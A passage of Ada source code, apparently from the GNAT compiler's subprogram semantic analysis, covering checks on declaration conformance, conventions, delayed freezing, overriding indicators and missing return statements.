if not (NewD and OldD) or else not Fully_Conformant_Expressions (Default_Value (Old_Formal), Default_Value (New_Formal)) then Conformance_Error ("\default expression for & does not match!", New_Formal); return; end if; end if; end; end if; end if; -- A couple of special checks for Ada 83 mode. These checks are -- skipped if either entity is an operator in package Standard, -- or if either old or new instance is not from the source program. if Ada_Version = Ada_83 and then Sloc (Old_Id) > Standard_Location and then Sloc (New_Id) > Standard_Location and then Comes_From_Source (Old_Id) and then Comes_From_Source (New_Id) then declare Old_Param : constant Node_Id := Declaration_Node (Old_Formal); New_Param : constant Node_Id := Declaration_Node (New_Formal); begin -- Explicit IN must be present or absent in both cases. This -- test is required only in the full conformance case. if In_Present (Old_Param) /= In_Present (New_Param) and then Ctype = Fully_Conformant then Conformance_Error ("\(Ada 83) IN must appear in both declarations", New_Formal); return; end if; -- Grouping (use of comma in param lists) must be the same -- This is where we catch a misconformance like: -- A, B : Integer -- A : Integer; B : Integer -- which are represented identically in the tree except -- for the setting of the flags More_Ids and Prev_Ids. if More_Ids (Old_Param) /= More_Ids (New_Param) or else Prev_Ids (Old_Param) /= Prev_Ids (New_Param) then Conformance_Error ("\grouping of & does not match!", New_Formal); return; end if; end; end if; -- This label is required when skipping controlling formals <<Skip_Controlling_Formal>> Next_Formal (Old_Formal); Next_Formal (New_Formal); end loop; if Present (Old_Formal) then Conformance_Error ("\too few parameters!"); return; elsif Present (New_Formal) then Conformance_Error ("\too many parameters!", New_Formal); return; end if; end Check_Conformance; ----------------------- -- Check_Conventions -- ----------------------- procedure Check_Conventions (Typ : Entity_Id) is Ifaces_List : Elist_Id; procedure Check_Convention (Op : Entity_Id); -- Verify that the convention of inherited dispatching operation Op is -- consistent among all subprograms it overrides. In order to minimize -- the search, Search_From is utilized to designate a specific point in -- the list rather than iterating over the whole list once more. ---------------------- -- Check_Convention -- ---------------------- procedure Check_Convention (Op : Entity_Id) is Op_Conv : constant Convention_Id := Convention (Op); Iface_Conv : Convention_Id; Iface_Elmt : Elmt_Id; Iface_Prim_Elmt : Elmt_Id; Iface_Prim : Entity_Id; begin Iface_Elmt := First_Elmt (Ifaces_List); while Present (Iface_Elmt) loop Iface_Prim_Elmt := First_Elmt (Primitive_Operations (Node (Iface_Elmt))); while Present (Iface_Prim_Elmt) loop Iface_Prim := Node (Iface_Prim_Elmt); Iface_Conv := Convention (Iface_Prim); if Is_Interface_Conformant (Typ, Iface_Prim, Op) and then Iface_Conv /= Op_Conv then Error_Msg_N ("inconsistent conventions in primitive operations", Typ); Error_Msg_Name_1 := Chars (Op); Error_Msg_Name_2 := Get_Convention_Name (Op_Conv); Error_Msg_Sloc := Sloc (Op); if Comes_From_Source (Op) or else No (Alias (Op)) then if not Present (Overridden_Operation (Op)) then Error_Msg_N ("\\primitive % defined #", Typ); else Error_Msg_N ("\\overriding operation % with " & "convention % defined #", Typ); end if; else pragma Assert (Present (Alias (Op))); Error_Msg_Sloc := Sloc (Alias (Op)); Error_Msg_N ("\\inherited operation % with " & "convention % defined #", Typ); end if; Error_Msg_Name_1 := Chars (Op); Error_Msg_Name_2 := Get_Convention_Name (Iface_Conv); Error_Msg_Sloc := Sloc (Iface_Prim); Error_Msg_N ("\\overridden operation % with " & "convention % defined #", Typ); -- Avoid cascading errors return; end if; Next_Elmt (Iface_Prim_Elmt); end loop; Next_Elmt (Iface_Elmt); end loop; end Check_Convention; -- Local variables Prim_Op : Entity_Id; Prim_Op_Elmt : Elmt_Id; -- Start of processing for Check_Conventions begin if not Has_Interfaces (Typ) then return; end if; Collect_Interfaces (Typ, Ifaces_List); -- The algorithm checks every overriding dispatching operation against -- all the corresponding overridden dispatching operations, detecting -- differences in conventions. Prim_Op_Elmt := First_Elmt (Primitive_Operations (Typ)); while Present (Prim_Op_Elmt) loop Prim_Op := Node (Prim_Op_Elmt); -- A small optimization: skip the predefined dispatching operations -- since they always have the same convention. if not Is_Predefined_Dispatching_Operation (Prim_Op) then Check_Convention (Prim_Op); end if; Next_Elmt (Prim_Op_Elmt); end loop; end Check_Conventions; ------------------------------ -- Check_Delayed_Subprogram -- ------------------------------ procedure Check_Delayed_Subprogram (Designator : Entity_Id) is procedure Possible_Freeze (T : Entity_Id); -- T is the type of either a formal parameter or of the return type. If -- T is not yet frozen and needs a delayed freeze, then the subprogram -- itself must be delayed. --------------------- -- Possible_Freeze -- --------------------- procedure Possible_Freeze (T : Entity_Id) is Scop : constant Entity_Id := Scope (Designator); begin -- If the subprogram appears within a package instance (which may be -- the wrapper package of a subprogram instance) the freeze node for -- that package will freeze the subprogram at the proper place, so -- do not emit a freeze node for the subprogram, given that it may -- appear in the wrong scope. if Ekind (Scop) = E_Package and then not Comes_From_Source (Scop) and then Is_Generic_Instance (Scop) then null; elsif Has_Delayed_Freeze (T) and then not Is_Frozen (T) then Set_Has_Delayed_Freeze (Designator); elsif Is_Access_Type (T) and then Has_Delayed_Freeze (Designated_Type (T)) and then not Is_Frozen (Designated_Type (T)) then Set_Has_Delayed_Freeze (Designator); end if; end Possible_Freeze; -- Local variables F : Entity_Id; -- Start of processing for Check_Delayed_Subprogram begin -- All subprograms, including abstract subprograms, may need a freeze -- node if some formal type or the return type needs one. Possible_Freeze (Etype (Designator)); Possible_Freeze (Base_Type (Etype (Designator))); -- needed ??? -- Need delayed freeze if any of the formal types themselves need a -- delayed freeze and are not yet frozen. F := First_Formal (Designator); while Present (F) loop Possible_Freeze (Etype (F)); Possible_Freeze (Base_Type (Etype (F))); -- needed ??? Next_Formal (F); end loop; -- Mark functions that return by reference. Note that it cannot be done -- for delayed_freeze subprograms because the underlying returned type -- may not be known yet (for private types). if not Has_Delayed_Freeze (Designator) and then Expander_Active then Compute_Returns_By_Ref (Designator); end if; end Check_Delayed_Subprogram; ------------------------------------ -- Check_Discriminant_Conformance -- ------------------------------------ procedure Check_Discriminant_Conformance (N : Node_Id; Prev : Entity_Id; Prev_Loc : Node_Id) is Old_Discr : Entity_Id := First_Discriminant (Prev); New_Discr : Node_Id := First (Discriminant_Specifications (N)); New_Discr_Id : Entity_Id; New_Discr_Type : Entity_Id; procedure Conformance_Error (Msg : String; N : Node_Id); -- Post error message for conformance error on given node. Two messages -- are output. The first points to the previous declaration with a -- general "no conformance" message. The second is the detailed reason, -- supplied as Msg. The parameter N provide information for a possible -- & insertion in the message. ----------------------- -- Conformance_Error -- ----------------------- procedure Conformance_Error (Msg : String; N : Node_Id) is begin Error_Msg_Sloc := Sloc (Prev_Loc); Error_Msg_N -- CODEFIX ("not fully conformant with declaration#!", N); Error_Msg_NE (Msg, N, N); end Conformance_Error; -- Start of processing for Check_Discriminant_Conformance begin while Present (Old_Discr) and then Present (New_Discr) loop New_Discr_Id := Defining_Identifier (New_Discr); -- The subtype mark of the discriminant on the full type has not -- been analyzed so we do it here. For an access discriminant a new -- type is created. if Nkind (Discriminant_Type (New_Discr)) = N_Access_Definition then New_Discr_Type := Access_Definition (N, Discriminant_Type (New_Discr)); else Find_Type (Discriminant_Type (New_Discr)); New_Discr_Type := Etype (Discriminant_Type (New_Discr)); -- Ada 2005: if the discriminant definition carries a null -- exclusion, create an itype to check properly for consistency -- with partial declaration. if Is_Access_Type (New_Discr_Type) and then Null_Exclusion_Present (New_Discr) then New_Discr_Type := Create_Null_Excluding_Itype (T => New_Discr_Type, Related_Nod => New_Discr, Scope_Id => Current_Scope); end if; end if; if not Conforming_Types (Etype (Old_Discr), New_Discr_Type, Fully_Conformant) then Conformance_Error ("type of & does not match!", New_Discr_Id); return; else -- Treat the new discriminant as an occurrence of the old one, -- for navigation purposes, and fill in some semantic -- information, for completeness. Generate_Reference (Old_Discr, New_Discr_Id, 'r'); Set_Etype (New_Discr_Id, Etype (Old_Discr)); Set_Scope (New_Discr_Id, Scope (Old_Discr)); end if; -- Names must match if Chars (Old_Discr) /= Chars (Defining_Identifier (New_Discr)) then Conformance_Error ("name & does not match!", New_Discr_Id); return; end if; -- Default expressions must match declare NewD : constant Boolean := Present (Expression (New_Discr)); OldD : constant Boolean := Present (Expression (Parent (Old_Discr))); begin if NewD or OldD then -- The old default value has been analyzed and expanded, -- because the current full declaration will have frozen -- everything before. The new default values have not been -- expanded, so expand now to check conformance. if NewD then Preanalyze_Spec_Expression (Expression (New_Discr), New_Discr_Type); end if; if not (NewD and OldD) or else not Fully_Conformant_Expressions (Expression (Parent (Old_Discr)), Expression (New_Discr)) then Conformance_Error ("default expression for & does not match!", New_Discr_Id); return; end if; end if; end; -- In Ada 83 case, grouping must match: (A,B : X) /= (A : X; B : X) if Ada_Version = Ada_83 then declare Old_Disc : constant Node_Id := Declaration_Node (Old_Discr); begin -- Grouping (use of comma in param lists) must be the same -- This is where we catch a misconformance like: -- A, B : Integer -- A : Integer; B : Integer -- which are represented identically in the tree except -- for the setting of the flags More_Ids and Prev_Ids. if More_Ids (Old_Disc) /= More_Ids (New_Discr) or else Prev_Ids (Old_Disc) /= Prev_Ids (New_Discr) then Conformance_Error ("grouping of & does not match!", New_Discr_Id); return; end if; end; end if; Next_Discriminant (Old_Discr); Next (New_Discr); end loop; if Present (Old_Discr) then Conformance_Error ("too few discriminants!", Defining_Identifier (N)); return; elsif Present (New_Discr) then Conformance_Error ("too many discriminants!", Defining_Identifier (New_Discr)); return; end if; end Check_Discriminant_Conformance; ----------------------------------------- -- Check_Formal_Subprogram_Conformance -- ----------------------------------------- procedure Check_Formal_Subprogram_Conformance (New_Id : Entity_Id; Old_Id : Entity_Id; Err_Loc : Node_Id; Errmsg : Boolean; Conforms : out Boolean) is N : Node_Id; begin Conforms := True; if Is_Formal_Subprogram (Old_Id) or else Is_Formal_Subprogram (New_Id) or else (Is_Subprogram (New_Id) and then Present (Alias (New_Id)) and then Is_Formal_Subprogram (Alias (New_Id))) then if Present (Err_Loc) then N := Err_Loc; else N := New_Id; end if; Conforms := False; if Errmsg then Error_Msg_Sloc := Sloc (Old_Id); Error_Msg_N ("not subtype conformant with declaration#!", N); Error_Msg_NE ("\formal subprograms are not subtype conformant " & "(RM 6.3.1 (17/3))", N, New_Id); end if; end if; end Check_Formal_Subprogram_Conformance; procedure Check_Formal_Subprogram_Conformance (New_Id : Entity_Id; Old_Id : Entity_Id; Err_Loc : Node_Id := Empty) is Ignore : Boolean; begin Check_Formal_Subprogram_Conformance (New_Id, Old_Id, Err_Loc, True, Ignore); end Check_Formal_Subprogram_Conformance; ---------------------------- -- Check_Fully_Conformant -- ---------------------------- procedure Check_Fully_Conformant (New_Id : Entity_Id; Old_Id : Entity_Id; Err_Loc : Node_Id := Empty) is Result : Boolean; pragma Warnings (Off, Result); begin Check_Conformance (New_Id, Old_Id, Fully_Conformant, True, Result, Err_Loc); end Check_Fully_Conformant; -------------------------- -- Check_Limited_Return -- -------------------------- procedure Check_Limited_Return (N : Node_Id; Expr : Node_Id; R_Type : Entity_Id) is begin -- Ada 2005 (AI-318-02): Return-by-reference types have been removed and -- replaced by anonymous access results. This is an incompatibility with -- Ada 95. Not clear whether this should be enforced yet or perhaps -- controllable with special switch. ??? -- A limited interface that is not immutably limited is OK if Is_Limited_Interface (R_Type) and then not Is_Concurrent_Interface (R_Type) then null; elsif Is_Limited_Type (R_Type) and then not Is_Interface (R_Type) and then not (Nkind (N) = N_Simple_Return_Statement and then Comes_From_Extended_Return_Statement (N)) and then not In_Instance_Body and then not OK_For_Limited_Init_In_05 (R_Type, Expr) then -- Error in Ada 2005 if Ada_Version >= Ada_2005 and then not Debug_Flag_Dot_L and then not GNAT_Mode then Error_Msg_N ("(Ada 2005) cannot copy object of a limited type " & "(RM-2005 6.5(5.5/2))", Expr); if Is_Limited_View (R_Type) then Error_Msg_N ("\return by reference not permitted in Ada 2005", Expr); end if; -- Warn in Ada 95 mode, to give folks a heads up about this -- incompatibility. -- In GNAT mode, this is just a warning, to allow it to be evilly -- turned off. Otherwise it is a real error. -- In a generic context, simplify the warning because it makes no -- sense to discuss pass-by-reference or copy. elsif Warn_On_Ada_2005_Compatibility or GNAT_Mode then if Inside_A_Generic then Error_Msg_N ("return of limited object not permitted in Ada 2005 " & "(RM-2005 6.5(5.5/2))?y?", Expr); elsif Is_Limited_View (R_Type) then Error_Msg_N ("return by reference not permitted in Ada 2005 " & "(RM-2005 6.5(5.5/2))?y?", Expr); else Error_Msg_N ("cannot copy object of a limited type in Ada 2005 " & "(RM-2005 6.5(5.5/2))?y?", Expr); end if; -- Ada 95 mode, and compatibility warnings disabled else pragma Assert (Ada_Version <= Ada_95); pragma Assert (not (Warn_On_Ada_2005_Compatibility or GNAT_Mode)); return; -- skip continuation messages below end if; if not Inside_A_Generic then Error_Msg_N ("\consider switching to return of access type", Expr); Explain_Limited_Type (R_Type, Expr); end if; end if; end Check_Limited_Return; --------------------------- -- Check_Mode_Conformant -- --------------------------- procedure Check_Mode_Conformant (New_Id : Entity_Id; Old_Id : Entity_Id; Err_Loc : Node_Id := Empty; Get_Inst : Boolean := False) is Result : Boolean; pragma Warnings (Off, Result); begin Check_Conformance (New_Id, Old_Id, Mode_Conformant, True, Result, Err_Loc, Get_Inst); end Check_Mode_Conformant; -------------------------------- -- Check_Overriding_Indicator -- -------------------------------- procedure Check_Overriding_Indicator (Subp : Entity_Id; Overridden_Subp : Entity_Id; Is_Primitive : Boolean) is Decl : Node_Id; Spec : Node_Id; begin -- No overriding indicator for literals if Ekind (Subp) = E_Enumeration_Literal then return; elsif Ekind (Subp) = E_Entry then Decl := Parent (Subp); -- No point in analyzing a malformed operator elsif Nkind (Subp) = N_Defining_Operator_Symbol and then Error_Posted (Subp) then return; else Decl := Unit_Declaration_Node (Subp); end if; if Nkind (Decl) in N_Subprogram_Body | N_Subprogram_Body_Stub | N_Subprogram_Declaration | N_Abstract_Subprogram_Declaration | N_Subprogram_Renaming_Declaration then Spec := Specification (Decl); elsif Nkind (Decl) = N_Entry_Declaration then Spec := Decl; else return; end if; -- An overriding indication is illegal on a subprogram declared -- in a protected body, where there is no operation to override. if (Must_Override (Spec) or else Must_Not_Override (Spec)) and then Is_List_Member (Decl) and then Present (Parent (List_Containing (Decl))) and then Nkind (Parent (List_Containing (Decl))) = N_Protected_Body then Error_Msg_N ("illegal overriding indication in protected body", Decl); return; end if; -- The overriding operation is type conformant with the overridden one, -- but the names of the formals are not required to match. If the names -- appear permuted in the overriding operation, this is a possible -- source of confusion that is worth diagnosing. Controlling formals -- often carry names that reflect the type, and it is not worthwhile -- requiring that their names match. if Present (Overridden_Subp) and then Nkind (Subp) /= N_Defining_Operator_Symbol then declare Form1 : Entity_Id; Form2 : Entity_Id; begin Form1 := First_Formal (Subp); Form2 := First_Formal (Overridden_Subp); -- If the overriding operation is a synchronized operation, skip -- the first parameter of the overridden operation, which is -- implicit in the new one. If the operation is declared in the -- body it is not primitive and all formals must match. if Is_Concurrent_Type (Scope (Subp)) and then Is_Tagged_Type (Scope (Subp)) and then not Has_Completion (Scope (Subp)) then Form2 := Next_Formal (Form2); end if; if Present (Form1) then Form1 := Next_Formal (Form1); Form2 := Next_Formal (Form2); end if; while Present (Form1) loop if not Is_Controlling_Formal (Form1) and then Present (Next_Formal (Form2)) and then Chars (Form1) = Chars (Next_Formal (Form2)) then Error_Msg_Node_2 := Alias (Overridden_Subp); Error_Msg_Sloc := Sloc (Error_Msg_Node_2); Error_Msg_NE ("& does not match corresponding formal of&#", Form1, Form1); exit; end if; Next_Formal (Form1); Next_Formal (Form2); end loop; end; end if; -- If there is an overridden subprogram, then check that there is no -- "not overriding" indicator, and mark the subprogram as overriding. -- This is not done if the overridden subprogram is marked as hidden, -- which can occur for the case of inherited controlled operations -- (see Derive_Subprogram), unless the inherited subprogram's parent -- subprogram is not itself hidden or we are within a generic instance, -- in which case the hidden flag may have been modified for the -- expansion of the instance. -- (Note: This condition could probably be simplified, leaving out the -- testing for the specific controlled cases, but it seems safer and -- clearer this way, and echoes similar special-case tests of this -- kind in other places.) if Present (Overridden_Subp) and then (not Is_Hidden (Overridden_Subp) or else (Chars (Overridden_Subp) in Name_Initialize | Name_Adjust | Name_Finalize and then Present (Alias (Overridden_Subp)) and then (not Is_Hidden (Alias (Overridden_Subp)) or else In_Instance))) then if Must_Not_Override (Spec) then Error_Msg_Sloc := Sloc (Overridden_Subp); if Ekind (Subp) = E_Entry then Error_Msg_NE ("entry & overrides inherited operation #", Spec, Subp); else Error_Msg_NE ("subprogram & overrides inherited operation #", Spec, Subp); end if; -- Special-case to fix a GNAT oddity: Limited_Controlled is declared -- as an extension of Root_Controlled, and thus has a useless Adjust -- operation. This operation should not be inherited by other limited -- controlled types. An explicit Adjust for them is not overriding. elsif Must_Override (Spec) and then Chars (Overridden_Subp) = Name_Adjust and then Is_Limited_Type (Etype (First_Formal (Subp))) and then Present (Alias (Overridden_Subp)) and then In_Predefined_Unit (Alias (Overridden_Subp)) then Get_Name_String (Unit_File_Name (Get_Source_Unit (Alias (Overridden_Subp)))); Error_Msg_NE ("subprogram & is not overriding", Spec, Subp); elsif Is_Subprogram (Subp) then if Is_Init_Proc (Subp) then null; elsif No (Overridden_Operation (Subp)) then -- For entities generated by Derive_Subprograms the overridden -- operation is the inherited primitive (which is available -- through the attribute alias) if (Is_Dispatching_Operation (Subp) or else Is_Dispatching_Operation (Overridden_Subp)) and then not Comes_From_Source (Overridden_Subp) and then Find_Dispatching_Type (Overridden_Subp) = Find_Dispatching_Type (Subp) and then Present (Alias (Overridden_Subp)) and then Comes_From_Source (Alias (Overridden_Subp)) then Set_Overridden_Operation (Subp, Alias (Overridden_Subp)); Inherit_Subprogram_Contract (Subp, Alias (Overridden_Subp)); Set_Is_Ada_2022_Only (Subp, Is_Ada_2022_Only (Alias (Overridden_Subp))); else Set_Overridden_Operation (Subp, Overridden_Subp); Inherit_Subprogram_Contract (Subp, Overridden_Subp); Set_Is_Ada_2022_Only (Subp, Is_Ada_2022_Only (Overridden_Subp)); end if; end if; end if; -- If primitive flag is set or this is a protected operation, then -- the operation is overriding at the point of its declaration, so -- warn if necessary. Otherwise it may have been declared before the -- operation it overrides and no check is required. if Style_Check and then not Must_Override (Spec) and then (Is_Primitive or else Ekind (Scope (Subp)) = E_Protected_Type) then Style.Missing_Overriding (Decl, Subp); end if; -- If Subp is an operator, it may override a predefined operation, if -- it is defined in the same scope as the type to which it applies. -- In that case Overridden_Subp is empty because of our implicit -- representation for predefined operators. We have to check whether the -- signature of Subp matches that of a predefined operator. Note that -- first argument provides the name of the operator, and the second -- argument the signature that may match that of a standard operation. -- If the indicator is overriding, then the operator must match a -- predefined signature, because we know already that there is no -- explicit overridden operation. elsif Chars (Subp) in Any_Operator_Name then if Must_Not_Override (Spec) then -- If this is not a primitive or a protected subprogram, then -- "not overriding" is illegal. if not Is_Primitive and then Ekind (Scope (Subp)) /= E_Protected_Type then Error_Msg_N ("overriding indicator only allowed " & "if subprogram is primitive", Subp); elsif Can_Override_Operator (Subp) then Error_Msg_NE ("subprogram& overrides predefined operator", Spec, Subp); end if; elsif Must_Override (Spec) then if No (Overridden_Operation (Subp)) and then not Can_Override_Operator (Subp) then Error_Msg_NE ("subprogram & is not overriding", Spec, Subp); end if; elsif not Error_Posted (Subp) and then Style_Check and then Can_Override_Operator (Subp) and then not In_Predefined_Unit (Subp) then -- If style checks are enabled, indicate that the indicator is -- missing. However, at the point of declaration, the type of -- which this is a primitive operation may be private, in which -- case the indicator would be premature. if Has_Private_Declaration (Etype (Subp)) or else Has_Private_Declaration (Etype (First_Formal (Subp))) then null; else Style.Missing_Overriding (Decl, Subp); end if; end if; elsif Must_Override (Spec) then if Ekind (Subp) = E_Entry then Error_Msg_NE ("entry & is not overriding", Spec, Subp); else Error_Msg_NE ("subprogram & is not overriding", Spec, Subp); end if; -- If the operation is marked "not overriding" and it's not primitive -- then an error is issued, unless this is an operation of a task or -- protected type (RM05-8.3.1(3/2-4/2)). Error cases where "overriding" -- has been specified have already been checked above. elsif Must_Not_Override (Spec) and then not Is_Primitive and then Ekind (Subp) /= E_Entry and then Ekind (Scope (Subp)) /= E_Protected_Type then Error_Msg_N ("overriding indicator only allowed if subprogram is primitive", Subp); return; end if; end Check_Overriding_Indicator; ------------------- -- Check_Returns -- ------------------- -- Note: this procedure needs to know far too much about how the expander -- messes with exceptions. The use of the flag Exception_Junk and the -- incorporation of knowledge of Exp_Ch11.Expand_Local_Exception_Handlers -- works, but is not very clean. It would be better if the expansion -- routines would leave Original_Node working nicely, and we could use -- Original_Node here to ignore all the peculiar expander messing ??? procedure Check_Returns (HSS : Node_Id; Mode : Character; Err : out Boolean; Proc : Entity_Id := Empty) is Handler : Node_Id; procedure Check_Statement_Sequence (L : List_Id); -- Internal recursive procedure to check a list of statements for proper -- termination by a return statement (or a transfer of control or a -- compound statement that is itself internally properly terminated). ------------------------------ -- Check_Statement_Sequence -- ------------------------------ procedure Check_Statement_Sequence (L : List_Id) is Last_Stm : Node_Id; Stm : Node_Id; Kind : Node_Kind; function Assert_False return Boolean; -- Returns True if Last_Stm is a pragma Assert (False) that has been -- rewritten as a null statement when assertions are off. The assert -- is not active, but it is still enough to kill the warning. ------------------ -- Assert_False -- ------------------ function Assert_False return Boolean is Orig : constant Node_Id := Original_Node (Last_Stm); begin if Nkind (Orig) = N_Pragma and then Pragma_Name (Orig) = Name_Assert and then not Error_Posted (Orig) then declare Arg : constant Node_Id := First (Pragma_Argument_Associations (Orig)); Exp : constant Node_Id := Expression (Arg); begin return Nkind (Exp) = N_Identifier and then Chars (Exp) = Name_False; end; else return False; end if; end Assert_False; -- Local variables Raise_Exception_Call : Boolean; -- Set True if statement sequence terminated by Raise_Exception call -- or a Reraise_Occurrence call. -- Start of processing for Check_Statement_Sequence begin Raise_Exception_Call := False; -- Get last real statement Last_Stm := Last (L); -- Deal with digging out exception handler statement sequences that -- have been transformed by the local raise to goto optimization. -- See Exp_Ch11.Expand_Local_Exception_Handlers for details. If this -- optimization has occurred, we are looking at something like: -- begin -- original stmts in block -- exception \ -- when excep1 => | -- goto L1; | omitted if No_Exception_Propagation -- when excep2 => | -- goto L2; / -- end; -- goto L3; -- skip handler when exception not raised -- <<L1>> -- target label for local exception -- begin -- estmts1 -- end; -- goto L3; -- <<L2>> -- begin -- estmts2 -- end; -- <<L3>> -- and what we have to do is to dig out the estmts1 and estmts2 -- sequences (which were the original sequences of statements in -- the exception handlers) and check them. if Nkind (Last_Stm) = N_Label and then Exception_Junk (Last_Stm) then Stm := Last_Stm; loop Prev (Stm); exit when No (Stm); exit when Nkind (Stm) /= N_Block_Statement; exit when not Exception_Junk (Stm); Prev (Stm); exit when No (Stm); exit when Nkind (Stm) /= N_Label; exit when not Exception_Junk (Stm); Check_Statement_Sequence (Statements (Handled_Statement_Sequence (Next (Stm)))); Prev (Stm); Last_Stm := Stm; exit when No (Stm); exit when Nkind (Stm) /= N_Goto_Statement; exit when not Exception_Junk (Stm); end loop; end if; -- Don't count pragmas while Nkind (Last_Stm) = N_Pragma -- Don't count call to SS_Release (can happen after Raise_Exception) or else (Nkind (Last_Stm) = N_Procedure_Call_Statement and then Nkind (Name (Last_Stm)) = N_Identifier and then Is_RTE (Entity (Name (Last_Stm)), RE_SS_Release)) -- Don't count exception junk or else (Nkind (Last_Stm) in N_Goto_Statement | N_Label | N_Object_Declaration and then Exception_Junk (Last_Stm)) or else Nkind (Last_Stm) in N_Push_xxx_Label | N_Pop_xxx_Label -- Inserted code, such as finalization calls, is irrelevant: we only -- need to check original source. or else Is_Rewrite_Insertion (Last_Stm) loop Prev (Last_Stm); end loop; -- Here we have the "real" last statement Kind := Nkind (Last_Stm); -- Transfer of control, OK. Note that in the No_Return procedure -- case, we already diagnosed any explicit return statements, so -- we can treat them as OK in this context. if Is_Transfer (Last_Stm) then return; -- Check cases of explicit non-indirect procedure calls elsif Kind = N_Procedure_Call_Statement and then Is_Entity_Name (Name (Last_Stm)) then -- Check call to Raise_Exception procedure which is treated -- specially, as is a call to Reraise_Occurrence. -- We suppress the warning in these cases since it is likely that -- the programmer really does not expect to deal with the case -- of Null_Occurrence, and thus would find a warning about a -- missing return curious, and raising Program_Error does not -- seem such a bad behavior if this does occur. -- Note that in the Ada 2005 case for Raise_Exception, the actual -- behavior will be to raise Constraint_Error (see AI-329). if Is_RTE (Entity (Name (Last_Stm)), RE_Raise_Exception) or else Is_RTE (Entity (Name (Last_Stm)), RE_Reraise_Occurrence) then Raise_Exception_Call := True; -- For Raise_Exception call, test first argument, if it is -- an attribute reference for a 'Identity call, then we know -- that the call cannot possibly return. declare Arg : constant Node_Id := Original_Node (First_Actual (Last_Stm)); begin if Nkind (Arg) = N_Attribute_Reference and then Attribute_Name (Arg) = Name_Identity then return; end if; end; end if; -- If statement, need to look inside if there is an else and check -- each constituent statement sequence for proper termination. elsif Kind = N_If_Statement and then Present (Else_Statements (Last_Stm)) then Check_Statement_Sequence (Then_Statements (Last_Stm)); Check_Statement_Sequence (Else_Statements (Last_Stm)); if Present (Elsif_Parts (Last_Stm)) then declare Elsif_Part : Node_Id := First (Elsif_Parts (Last_Stm)); begin while Present (Elsif_Part) loop Check_Statement_Sequence (Then_Statements (Elsif_Part)); Next (Elsif_Part); end loop; end; end if; return; -- Case statement, check each case for proper termination elsif Kind = N_Case_Statement then declare Case_Alt : Node_Id; begin Case_Alt := First_Non_Pragma (Alternatives (Last_Stm)); while Present (Case_Alt) loop Check_Statement_Sequence (Statements (Case_Alt)); Next_Non_Pragma (Case_Alt); end loop; end; return; -- Block statement, check its handled sequence of statements elsif Kind = N_Block_Statement then declare Err1 : Boolean; begin Check_Returns (Handled_Statement_Sequence (Last_Stm), Mode, Err1); if Err1 then Err := True; end if; return; end; -- Loop statement. If there is an iteration scheme, we can definitely -- fall out of the loop. Similarly if there is an exit statement, we -- can fall out. In either case we need a following return. elsif Kind = N_Loop_Statement then if Present (Iteration_Scheme (Last_Stm)) or else Has_Exit (Entity (Identifier (Last_Stm))) then null; -- A loop with no exit statement or iteration scheme is either -- an infinite loop, or it has some other exit (raise/return). -- In either case, no warning is required. else return; end if; -- Timed entry call, check entry call and delay alternatives -- Note: in expanded code, the timed entry call has been converted -- to a set of expanded statements on which the check will work -- correctly in any case. elsif Kind = N_Timed_Entry_Call then declare ECA : constant Node_Id := Entry_Call_Alternative (Last_Stm); DCA : constant Node_Id := Delay_Alternative (Last_Stm); begin -- If statement sequence of entry call alternative is missing, -- then we can definitely fall through, and we post the error -- message on the entry call alternative itself. if No (Statements (ECA)) then Last_Stm := ECA; -- If statement sequence of delay alternative is missing, then -- we can definitely fall through, and we post the error -- message on the delay alternative itself. -- Note: if both ECA and DCA are missing the return, then we -- post only one message, should be enough to fix the bugs. -- If not we will get a message next time on the DCA when the -- ECA is fixed. elsif No (Statements (DCA)) then Last_Stm := DCA; -- Else check both statement sequences else Check_Statement_Sequence (Statements (ECA)); Check_Statement_Sequence (Statements (DCA)); return; end if; end; -- Conditional entry call, check entry call and else part -- Note: in expanded code, the conditional entry call has been -- converted to a set of expanded statements on which the check -- will work correctly in any case. elsif Kind = N_Conditional_Entry_Call then declare ECA : constant Node_Id := Entry_Call_Alternative (Last_Stm); begin -- If statement sequence of entry call alternative is missing, -- then we can definitely fall through, and we post the error -- message on the entry call alternative itself. if No (Statements (ECA)) then Last_Stm := ECA; -- Else check statement sequence and else part else Check_Statement_Sequence (Statements (ECA)); Check_Statement_Sequence (Else_Statements (Last_Stm)); return; end if; end; end if; -- If we fall through, issue appropriate message if Mode = 'F' then -- Kill warning if last statement is a raise exception call, -- or a pragma Assert (False). Note that with assertions enabled, -- such a pragma has been converted into a raise exception call -- already, so the Assert_False is for the assertions off case. if not Raise_Exception_Call and then not Assert_False then -- In GNATprove mode, it is an error to have a missing return Error_Msg_Warn := SPARK_Mode /= On; -- Issue error message or warning Error_Msg_N ("RETURN statement missing following this statement<<!", Last_Stm); Error_Msg_N ("\Program_Error [<<!", Last_Stm); end if; -- Note: we set Err even though we have not issued a warning -- because we still have a case of a missing return. This is -- an extremely marginal case, probably will never be noticed -- but we might as well get it right. Err := True; -- Otherwise we have the case of a procedure marked No_Return else if not Raise_Exception_Call then if GNATprove_Mode then Error_Msg_N ("implied return after this statement would have raised " & "Program_Error", Last_Stm); -- In normal compilation mode, do not warn on a generated call -- (e.g. in the body of a renaming as completion). elsif Comes_From_Source (Last_Stm) then Error_Msg_N ("implied return after this statement will raise " & "Program_Error??", Last_Stm); end if; Error_Msg_Warn := SPARK_Mode /= On; Error_Msg_NE ("\procedure & is marked as No_Return<<!", Last_Stm, Proc); end if; declare RE : constant Node_Id := Make_Raise_Program_Error (Sloc (Last_Stm), Reason => PE_Implicit_Return); begin Insert_After (Last_Stm, RE); Analyze (RE); end; end if; end Check_Statement_Sequence; -- Start of processing for Check_Returns begin Err := False; Check_Statement_Sequence (Statements (HSS)); if Present (Exception_Handlers (HSS)) then Handler := First_Non_Pragma (Exception_Handlers (HSS)); while Present (Handler) loop Check_Statement_Sequence (Statements (Handler)); Next_Non_Pragma (Handler); end loop; end if; end Check_Returns; ---------------------------- -- Check_Subprogram_Order -- ---------------------------- procedure Check_Subprogram_Order (N : Node_Id) is function Subprogram_Name_Greater (S1, S2 : String) return Boolean; -- This is used to check if S1 > S2 in the sense required by this test, -- for example nameab < namec, but name2 < name10. ----------------------------- -- Subprogram_Name_Greater -- ----------------------------- function Subprogram_Name_Greater (S1, S2 : String) return Boolean is L1, L2 : Positive; N1, N2 : Natural; begin -- Deal with special case where names are identical except for a -- numerical suffix. These are handled specially, taking the numeric -- ordering from the suffix into account. L1 := S1'Last; while S1 (L1) in '0' .. '9' loop L1 := L1 - 1; end loop; L2 := S2'Last; while S2 (L2) in '0' .. '9' loop L2 := L2 - 1; end loop; -- If non-numeric parts non-equal, do straight compare if S1 (S1'First .. L1) /= S2 (S2'First .. L2) then return S1 > 